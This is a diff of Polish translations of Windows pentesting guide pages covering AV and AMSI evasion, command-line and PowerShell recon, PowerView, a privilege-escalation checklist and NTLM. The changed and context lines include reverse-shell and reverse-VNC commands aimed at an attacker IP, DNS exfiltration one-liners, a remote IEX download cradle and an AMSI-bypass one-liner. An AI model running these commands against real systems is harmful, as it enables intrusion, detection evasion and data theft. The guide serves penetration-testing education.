<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
@ -300,7 +300,7 @@ Zachęcam cię do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
To także kolejne świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) na temat omijania w głębi.
To również kolejne świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) na temat omijania w głębi.
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
@ -311,7 +311,7 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Sprawdź, które części Defender uznaje za złośliwe**
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binariów**, aż **dowie się, która część Defender** uznaje za złośliwą i podzieli się tym z tobą.\
Innym narzędziem robiącym **to samo jest** [**avred**](https://github.com/dobin/avred) z otwartą stroną internetową oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Inne narzędzie robiące **to samo to** [**avred**](https://github.com/dobin/avred) z otwartą stroną internetową oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Serwer Telnet**
@ -319,7 +319,7 @@ Do Windows 10 wszystkie systemy Windows miały **serwer Telnet**, który można
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
Ustaw, aby **uruchamiało się** przy starcie systemu i **uruchom** to teraz:
Uruchom to **przy starcie** systemu i **uruchom** to teraz:
```bash
sc config TlntSVR start= auto obj= localsystem
```
@ -344,11 +344,11 @@ Następnie przenieś plik binarny _**winvnc.exe**_ oraz **nowo** utworzony plik
**Napastnik** powinien **wykonać wewnątrz** swojego **gospodarza** plik binarny `vncviewer.exe -listen 5900`, aby był **przygotowany** na przechwycenie zwrotnego **połączenia VNC**. Następnie, wewnątrz **ofiary**: Uruchom demon winvnc `winvnc.exe -run` i uruchom `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**OSTRZEŻENIE:** Aby zachować dyskrecję, nie możesz zrobić kilku rzeczy
**OSTRZEŻENIE:** Aby zachować dyskrecję, musisz unikać kilku rzeczy
- Nie uruchamiaj `winvnc`, jeśli już działa, bo wywołasz [popup](https://i.imgur.com/1SROTTl.png). sprawdź, czy działa za pomocą `tasklist | findstr winvnc`
- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
- Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, bo wywołasz [popup](https://i.imgur.com/oc18wcu.png)
- Nie uruchamiaj `winvnc`, jeśli już działa, ponieważ spowoduje to wywołanie [popupu](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa, używając `tasklist | findstr winvnc`
- Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, ponieważ spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png)
- Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, ponieważ spowoduje to wywołanie [popupu](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -374,7 +374,7 @@ Teraz **uruchom lister** za pomocą `msfconsole -r file.rc` i **wykonaj** **ład
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Aktualny defender zakończy proces bardzo szybko.**
**Aktualny defender bardzo szybko zakończy proces.**
### Kompilacja naszego własnego reverse shell
@ -386,7 +386,7 @@ Skompiluj to za pomocą:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
Użyj go z:
Użyj tego z:
```
back.exe <ATTACKER_IP> <PORT>
```

View File

@ -42,7 +42,7 @@ nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
```
### [Defender](authentication-credentials-uac-and-efs/#defender)
### [Defender](authentication-credentials-uac-and-efs/index.html#defender)
### Kosz
```bash
@ -107,12 +107,12 @@ nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```
### Dzienniki i zdarzenia
### Dzienniki i Wydarzenia
```bash
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
```
## Użytkownicy i grupy
## Użytkownicy i Grupy
### Użytkownicy
```bash
@ -324,7 +324,7 @@ help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
```
### ACL adresów nasłuchujących
### Listen address ACLs
Możesz nasłuchiwać na [http://+:80/Temporary_Listen_Addresses/](http://+/Temporary_Listen_Addresses/) bez bycia administratorem.
```bash
@ -339,7 +339,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
```
#### Ofiara
**`for /f tokens`** technika: To pozwala nam na wykonywanie poleceń, uzyskiwanie pierwszych X słów z każdej linii i wysyłanie ich przez DNS do naszego serwera
**`for /f tokens`** technika: To pozwala nam na wykonywanie poleceń, uzyskiwanie pierwszych X słów z każdej linii i przesyłanie ich przez DNS do naszego serwera
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2

View File

@ -65,7 +65,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
```
## [Polityka wykonania](../authentication-credentials-uac-and-efs/#ps-execution-policy)
## [Polityka wykonania](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy)
## [Ograniczony język](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
@ -119,7 +119,7 @@ ValueData : 0
Dlatego celem ominięcia AMSI, które będziesz stosować, jest **nadpisanie instrukcji tego DLL w pamięci, aby uczynić wykrywanie bezużytecznym**.
**Generator ominięcia AMSI**: [**https://amsi.fail/**](https://amsi.fail/)
**Generator ominięcia AMSI** strona internetowa: [**https://amsi.fail/**](https://amsi.fail/)
```powershell
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
@ -168,9 +168,9 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html
Sprawdź [**ten post, aby uzyskać szczegółowe informacje i kod**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Wprowadzenie:
Ta nowa technika opiera się na hookowaniu wywołań API metod .NET. Okazuje się, że metody .NET muszą być kompilowane do natywnych instrukcji maszynowych w pamięci, które wyglądają bardzo podobnie do natywnych metod. Te skompilowane metody mogą być hookowane, aby zmienić przepływ sterowania programu.
Ta nowa technika opiera się na hooking wywołań API metod .NET. Okazuje się, że metody .NET muszą być kompilowane do natywnych instrukcji maszynowych w pamięci, które wyglądają bardzo podobnie do natywnych metod. Te skompilowane metody mogą być hookowane, aby zmienić przepływ sterowania programu.
Kroki wykonujące hookowanie wywołań API metod .NET to:
Kroki wykonujące hooking wywołań API metod .NET to:
1. Zidentyfikuj docelową metodę do hookowania
2. Zdefiniuj metodę o tym samym prototypie funkcji co cel
@ -181,7 +181,7 @@ Kroki wykonujące hookowanie wywołań API metod .NET to:
### AMSI Bypass 3 - Uprawnienia SeDebug
[**Postępując zgodnie z tym przewodnikiem i kodem**](https://github.com/MzHmO/DebugAmsi), możesz zobaczyć, jak z wystarczającymi uprawnieniami do debugowania procesów możesz uruchomić proces powershell.exe, zdebugować go, monitorować, kiedy ładuje `amsi.dll` i wyłączyć go.
[**Postępując zgodnie z tym przewodnikiem i kodem**](https://github.com/MzHmO/DebugAmsi) możesz zobaczyć, jak z wystarczającymi uprawnieniami do debugowania procesów możesz uruchomić proces powershell.exe, debugować go, monitorować, kiedy ładuje `amsi.dll` i wyłączyć go.
### AMSI Bypass - Więcej zasobów
@ -206,7 +206,7 @@ Opcje: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`,
```powershell
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
```
## Wersja systemu operacyjnego i poprawki HotFix
## Wersja systemu operacyjnego i poprawki hotfix
```powershell
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
@ -227,7 +227,7 @@ $shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
```
## Rekonesans domeny
## Rekonesansja domeny
{{#ref}}
powerview.md
@ -238,7 +238,7 @@ powerview.md
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
```
## Bezpieczny ciąg do tekstu jawnego
## Secure String to Plaintext
```powershell
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
@ -250,7 +250,7 @@ Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
```
Lub bezpośrednie analizowanie formularza XML:
Lub bezpośrednie analizowanie formatu XML:
```powershell
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

View File

@ -60,7 +60,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
# Get Forest info
Get-ForestDomain
```
### Użytkownicy, Grupy, Komputery i OUs
### Użytkownicy, Grupy, Komputery i OU
```powershell
# Users
## Get usernames and their groups
@ -137,7 +137,7 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
### Group Policy Object - GPOs
Jeśli atakujący ma **wysokie uprawnienia do GPO** może być w stanie **privesc** wykorzystując to poprzez **dodanie uprawnień do użytkownika**, **dodanie lokalnego użytkownika administratora** do hosta lub **utworzenie zadania zaplanowanego** (natychmiastowego) w celu wykonania akcji.\
Dla [**więcej informacji na ten temat i jak to wykorzystać, kliknij ten link**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
Dla [**więcej informacji na ten temat i jak to wykorzystać, kliknij ten link**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -275,7 +275,7 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```powershell
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
```
#### Użyj innych poświadczeń (argument)
#### Użyj różnych poświadczeń (argument)
```powershell
# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force

View File

@ -2,112 +2,112 @@
{{#include ../banners/hacktricks-training.md}}
### **Najlepsze narzędzie do wyszukiwania wektorów eskalacji uprawnień lokalnych w systemie Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Najlepsze narzędzie do wyszukiwania wektorów lokalnej eskalacji uprawnień w systemie Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Informacje o systemie](windows-local-privilege-escalation/#system-info)
### [Informacje o systemie](windows-local-privilege-escalation/index.html#system-info)
- [ ] Uzyskaj [**Informacje o systemie**](windows-local-privilege-escalation/#system-info)
- [ ] Szukaj **eksploatacji jądra** [**za pomocą skryptów**](windows-local-privilege-escalation/#version-exploits)
- [ ] Uzyskaj [**Informacje o systemie**](windows-local-privilege-escalation/index.html#system-info)
- [ ] Szukaj **eksploatacji jądra** [**za pomocą skryptów**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Użyj **Google do wyszukiwania** eksploatacji **jądra**
- [ ] Użyj **searchsploit do wyszukiwania** eksploatacji **jądra**
- [ ] Ciekawe informacje w [**zmiennych środowiskowych**](windows-local-privilege-escalation/#environment)?
- [ ] Hasła w [**historii PowerShell**](windows-local-privilege-escalation/#powershell-history)?
- [ ] Ciekawe informacje w [**ustawieniach Internetu**](windows-local-privilege-escalation/#internet-settings)?
- [ ] [**Dyski**](windows-local-privilege-escalation/#drives)?
- [ ] [**Eksploatacja WSUS**](windows-local-privilege-escalation/#wsus)?
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
- [ ] Ciekawe informacje w [**zmiennych środowiskowych**](windows-local-privilege-escalation/index.html#environment)?
- [ ] Hasła w [**historii PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)?
- [ ] Ciekawe informacje w [**ustawieniach Internetu**](windows-local-privilege-escalation/index.html#internet-settings)?
- [ ] [**Dyski**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**Eksploatacja WSUS**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
### [Logowanie/wyliczanie AV](windows-local-privilege-escalation/#enumeration)
### [Logowanie/wyliczanie AV](windows-local-privilege-escalation/index.html#enumeration)
- [ ] Sprawdź ustawienia [**Audytu**](windows-local-privilege-escalation/#audit-settings) i [**WEF**](windows-local-privilege-escalation/#wef)
- [ ] Sprawdź [**LAPS**](windows-local-privilege-escalation/#laps)
- [ ] Sprawdź, czy [**WDigest**](windows-local-privilege-escalation/#wdigest) jest aktywny
- [ ] [**Ochrona LSA**](windows-local-privilege-escalation/#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/#cached-credentials)?
- [ ] Sprawdź ustawienia [**Audytu**](windows-local-privilege-escalation/index.html#audit-settings) i [**WEF**](windows-local-privilege-escalation/index.html#wef)
- [ ] Sprawdź [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] Sprawdź, czy [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) jest aktywny
- [ ] [**Ochrona LSA**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] Sprawdź, czy jakikolwiek [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] [**Polityka AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] [**Uprawnienia użytkowników**](windows-local-privilege-escalation/#users-and-groups)
- [ ] Sprawdź [**aktualne** uprawnienia **użytkownika**](windows-local-privilege-escalation/#users-and-groups)
- [ ] Czy jesteś [**członkiem jakiejkolwiek grupy z uprawnieniami**](windows-local-privilege-escalation/#privileged-groups)?
- [ ] Sprawdź, czy masz [jakiekolwiek z tych tokenów włączonych](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Sesje użytkowników**](windows-local-privilege-escalation/#logged-users-sessions)?
- [ ] Sprawdź [**domy** użytkowników](windows-local-privilege-escalation/#home-folders) (dostęp?)
- [ ] Sprawdź [**Politykę haseł**](windows-local-privilege-escalation/#password-policy)
- [ ] Co jest [**w schowku**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
- [ ] [**Uprawnienia użytkowników**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Sprawdź [**aktualne** uprawnienia **użytkownika**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Czy jesteś [**członkiem jakiejkolwiek grupy z uprawnieniami**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] Sprawdź, czy masz [jakiekolwiek z tych tokenów włączonych](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Sesje użytkowników**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] Sprawdź [**domy użytkowników**](windows-local-privilege-escalation/index.html#home-folders) (dostęp?)
- [ ] Sprawdź [**Politykę haseł**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] Co jest [**w schowku**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
### [Sieć](windows-local-privilege-escalation/#network)
### [Sieć](windows-local-privilege-escalation/index.html#network)
- [ ] Sprawdź **aktualne** [**informacje o sieci**](windows-local-privilege-escalation/#network)
- [ ] Sprawdź **aktualne** [**informacje o sieci**](windows-local-privilege-escalation/index.html#network)
- [ ] Sprawdź **ukryte lokalne usługi** ograniczone do zewnątrz
### [Uruchomione procesy](windows-local-privilege-escalation/#running-processes)
### [Uruchamiane procesy](windows-local-privilege-escalation/index.html#running-processes)
- [ ] Uprawnienia [**plików i folderów binariów procesów**](windows-local-privilege-escalation/#file-and-folder-permissions)
- [ ] [**Wydobywanie haseł z pamięci**](windows-local-privilege-escalation/#memory-password-mining)
- [ ] [**Niebezpieczne aplikacje GUI**](windows-local-privilege-escalation/#insecure-gui-apps)
- [ ] Uprawnienia [**plików i folderów binariów procesów**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Wydobywanie haseł z pamięci**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Niebezpieczne aplikacje GUI**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] Kradnij dane uwierzytelniające z **interesujących procesów** za pomocą `ProcDump.exe` ? (firefox, chrome, itd...)
### [Usługi](windows-local-privilege-escalation/#services)
### [Usługi](windows-local-privilege-escalation/index.html#services)
- [ ] [Czy możesz **zmodyfikować jakąkolwiek usługę**?](windows-local-privilege-escalation/#permissions)
- [ ] [Czy możesz **zmodyfikować** **binarne** pliki, które są **wykonywane** przez jakąkolwiek **usługę**?](windows-local-privilege-escalation/#modify-service-binary-path)
- [ ] [Czy możesz **zmodyfikować** **rejestr** jakiejkolwiek **usługi**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
- [ ] [Czy możesz skorzystać z jakiejkolwiek **niecytowanej ścieżki binarnej usługi**?](windows-local-privilege-escalation/#unquoted-service-paths)
- [ ] [Czy możesz **zmodyfikować jakąkolwiek usługę**?](windows-local-privilege-escalation/index.html#permissions)
- [ ] [Czy możesz **zmodyfikować** **binarne** pliki, które są **wykonywane** przez jakąkolwiek **usługę**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] [Czy możesz **zmodyfikować** **rejestr** jakiejkolwiek **usługi**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] [Czy możesz skorzystać z jakiejkolwiek **niecytowanej ścieżki binarnej usługi**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
### [**Aplikacje**](windows-local-privilege-escalation/#applications)
### [**Aplikacje**](windows-local-privilege-escalation/index.html#applications)
- [ ] **Uprawnienia do zapisu** [**na zainstalowanych aplikacjach**](windows-local-privilege-escalation/#write-permissions)
- [ ] [**Aplikacje uruchamiane przy starcie**](windows-local-privilege-escalation/#run-at-startup)
- [ ] **Vulnerable** [**Sterowniki**](windows-local-privilege-escalation/#drivers)
- [ ] **Uprawnienia do zapisu** [**na zainstalowanych aplikacjach**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Aplikacje uruchamiane przy starcie**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Vulnerable** [**Sterowniki**](windows-local-privilege-escalation/index.html#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] Czy możesz **zapisać w jakimkolwiek folderze w PATH**?
- [ ] Czy istnieje jakikolwiek znany plik binarny usługi, który **próbuje załadować jakąkolwiek nieistniejącą DLL**?
- [ ] Czy możesz **zapisać** w jakimkolwiek **folderze binarnym**?
### [Sieć](windows-local-privilege-escalation/#network)
### [Sieć](windows-local-privilege-escalation/index.html#network)
- [ ] Wylicz sieć (udostępnienia, interfejsy, trasy, sąsiedzi, ...)
- [ ] Zwróć szczególną uwagę na usługi sieciowe nasłuchujące na localhost (127.0.0.1)
### [Dane uwierzytelniające Windows](windows-local-privilege-escalation/#windows-credentials)
### [Dane uwierzytelniające systemu Windows](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) dane uwierzytelniające
- [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) dane uwierzytelniające, które możesz wykorzystać?
- [ ] Ciekawe [**dane uwierzytelniające DPAPI**](windows-local-privilege-escalation/#dpapi)?
- [ ] Hasła zapisanych [**sieci Wifi**](windows-local-privilege-escalation/#wifi)?
- [ ] Ciekawe informacje w [**zapisanych połączeniach RDP**](windows-local-privilege-escalation/#saved-rdp-connections)?
- [ ] Hasła w [**niedawno uruchomionych poleceniach**](windows-local-privilege-escalation/#recently-run-commands)?
- [ ] [**Menadżer danych uwierzytelniających zdalnego pulpitu**](windows-local-privilege-escalation/#remote-desktop-credential-manager) hasła?
- [ ] [**AppCmd.exe** istnieje](windows-local-privilege-escalation/#appcmd-exe)? Dane uwierzytelniające?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Ładowanie DLL z boku?
- [ ] [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) dane uwierzytelniające
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) dane uwierzytelniające, które możesz wykorzystać?
- [ ] Ciekawe [**dane uwierzytelniające DPAPI**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] Hasła zapisanych [**sieci Wifi**](windows-local-privilege-escalation/index.html#wifi)?
- [ ] Ciekawe informacje w [**zapisanych połączeniach RDP**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
- [ ] Hasła w [**niedawno uruchomionych poleceniach**](windows-local-privilege-escalation/index.html#recently-run-commands)?
- [ ] [**Menadżer poświadczeń pulpitu zdalnego**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) hasła?
- [ ] [**AppCmd.exe** istnieje](windows-local-privilege-escalation/index.html#appcmd-exe)? Dane uwierzytelniające?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? Ładowanie DLL z boku?
### [Pliki i rejestr (Dane uwierzytelniające)](windows-local-privilege-escalation/#files-and-registry-credentials)
### [Pliki i rejestr (Dane uwierzytelniające)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**Dane**](windows-local-privilege-escalation/#putty-creds) **i** [**klucze hosta SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
- [ ] [**Klucze SSH w rejestrze**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
- [ ] Hasła w [**plikach bezobsługowych**](windows-local-privilege-escalation/#unattended-files)?
- [ ] Jakiekolwiek [**kopie zapasowe SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
- [ ] [**Dane uwierzytelniające w chmurze**](windows-local-privilege-escalation/#cloud-credentials)?
- [ ] Plik [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/#cached-gpp-pasword)?
- [ ] Hasło w [**pliku konfiguracyjnym IIS**](windows-local-privilege-escalation/#iis-web-config)?
- [ ] Ciekawe informacje w [**logach**](windows-local-privilege-escalation/#logs)?
- [ ] Czy chcesz [**poprosić użytkownika o dane uwierzytelniające**](windows-local-privilege-escalation/#ask-for-credentials)?
- [ ] Ciekawe [**pliki w Koszu**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
- [ ] Inne [**rejestry zawierające dane uwierzytelniające**](windows-local-privilege-escalation/#inside-the-registry)?
- [ ] Wewnątrz [**danych przeglądarki**](windows-local-privilege-escalation/#browsers-history) (bazy danych, historia, zakładki, ...)?
- [ ] [**Ogólne wyszukiwanie haseł**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) w plikach i rejestrze
- [ ] [**Narzędzia**](windows-local-privilege-escalation/#tools-that-search-for-passwords) do automatycznego wyszukiwania haseł
- [ ] **Putty:** [**Dane**](windows-local-privilege-escalation/index.html#putty-creds) **i** [**klucze hosta SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**Klucze SSH w rejestrze**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] Hasła w [**plikach bezobsługowych**](windows-local-privilege-escalation/index.html#unattended-files)?
- [ ] Jakiekolwiek [**kopie zapasowe SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
- [ ] [**Dane uwierzytelniające w chmurze**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] [**Plik McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] Hasło w [**plikach konfiguracyjnych IIS**](windows-local-privilege-escalation/index.html#iis-web-config)?
- [ ] Ciekawe informacje w [**logach**](windows-local-privilege-escalation/index.html#logs)?
- [ ] Czy chcesz [**poprosić użytkownika o dane uwierzytelniające**](windows-local-privilege-escalation/index.html#ask-for-credentials)?
- [ ] Ciekawe [**pliki w Koszu**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] Inne [**rejestry zawierające dane uwierzytelniające**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] Wewnątrz [**danych przeglądarki**](windows-local-privilege-escalation/index.html#browsers-history) (bazy danych, historia, zakładki, ...)?
- [ ] [**Ogólne wyszukiwanie haseł**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) w plikach i rejestrze
- [ ] [**Narzędzia**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) do automatycznego wyszukiwania haseł
### [Wyciekające handlerzy](windows-local-privilege-escalation/#leaked-handlers)
### [Wyciekające handlerzy](windows-local-privilege-escalation/index.html#leaked-handlers)
- [ ] Czy masz dostęp do jakiegokolwiek handlera procesu uruchomionego przez administratora?
### [Impersonacja klienta Pipe](windows-local-privilege-escalation/#named-pipe-client-impersonation)
### [Impersonacja klienta Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] Sprawdź, czy możesz to wykorzystać

View File

@ -10,7 +10,7 @@ Domyślnie protokół uwierzytelniania **Kerberos** jest główną metodą używ
Obecność nagłówka **"NTLMSSP"** w pakietach sieciowych sygnalizuje proces uwierzytelniania NTLM.
Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewniane przez określony plik DLL znajdujący się w `%windir%\Windows\System32\msv1\_0.dll`.
Wsparcie dla protokołów uwierzytelniania - LM, NTLMv1 i NTLMv2 - jest zapewniane przez konkretny plik DLL znajdujący się w `%windir%\Windows\System32\msv1\_0.dll`.
**Kluczowe punkty**:
@ -46,14 +46,14 @@ Możliwe wartości:
```
## Podstawowy schemat uwierzytelniania NTLM w domenie
1. **użytkownik** wprowadza swoje **dane uwierzytelniające**
2. Klient **wysyła żądanie uwierzytelnienia**, przesyłając **nazwę domeny** i **nazwę użytkownika**
3. **serwer** wysyła **wyzwanie**
4. **klient szyfruje** **wyzwanie** używając hasha hasła jako klucza i wysyła je jako odpowiedź
5. **serwer wysyła** do **kontrolera domeny** **nazwę domeny, nazwę użytkownika, wyzwanie i odpowiedź**. Jeśli **nie ma** skonfigurowanej Active Directory lub nazwa domeny jest nazwą serwera, dane uwierzytelniające są **sprawdzane lokalnie**.
6. **kontroler domeny sprawdza, czy wszystko jest poprawne** i wysyła informacje do serwera
1. **Użytkownik** wprowadza swoje **dane uwierzytelniające**
2. Komputer kliencki **wysyła żądanie uwierzytelnienia**, przesyłając **nazwę domeny** i **nazwę użytkownika**
3. **Serwer** wysyła **wyzwanie**
4. **Klient szyfruje** **wyzwanie** używając hasha hasła jako klucza i wysyła je jako odpowiedź
5. **Serwer wysyła** do **kontrolera domeny** **nazwę domeny, nazwę użytkownika, wyzwanie i odpowiedź**. Jeśli **nie ma** skonfigurowanej Active Directory lub nazwa domeny jest nazwą serwera, dane uwierzytelniające są **sprawdzane lokalnie**.
6. **Kontroler domeny sprawdza, czy wszystko jest poprawne** i wysyła informacje do serwera
**serwer** i **Kontroler Domeny** mogą utworzyć **Bezpieczny Kanał** za pośrednictwem serwera **Netlogon**, ponieważ Kontroler Domeny zna hasło serwera (jest ono w bazie **NTDS.DIT**).
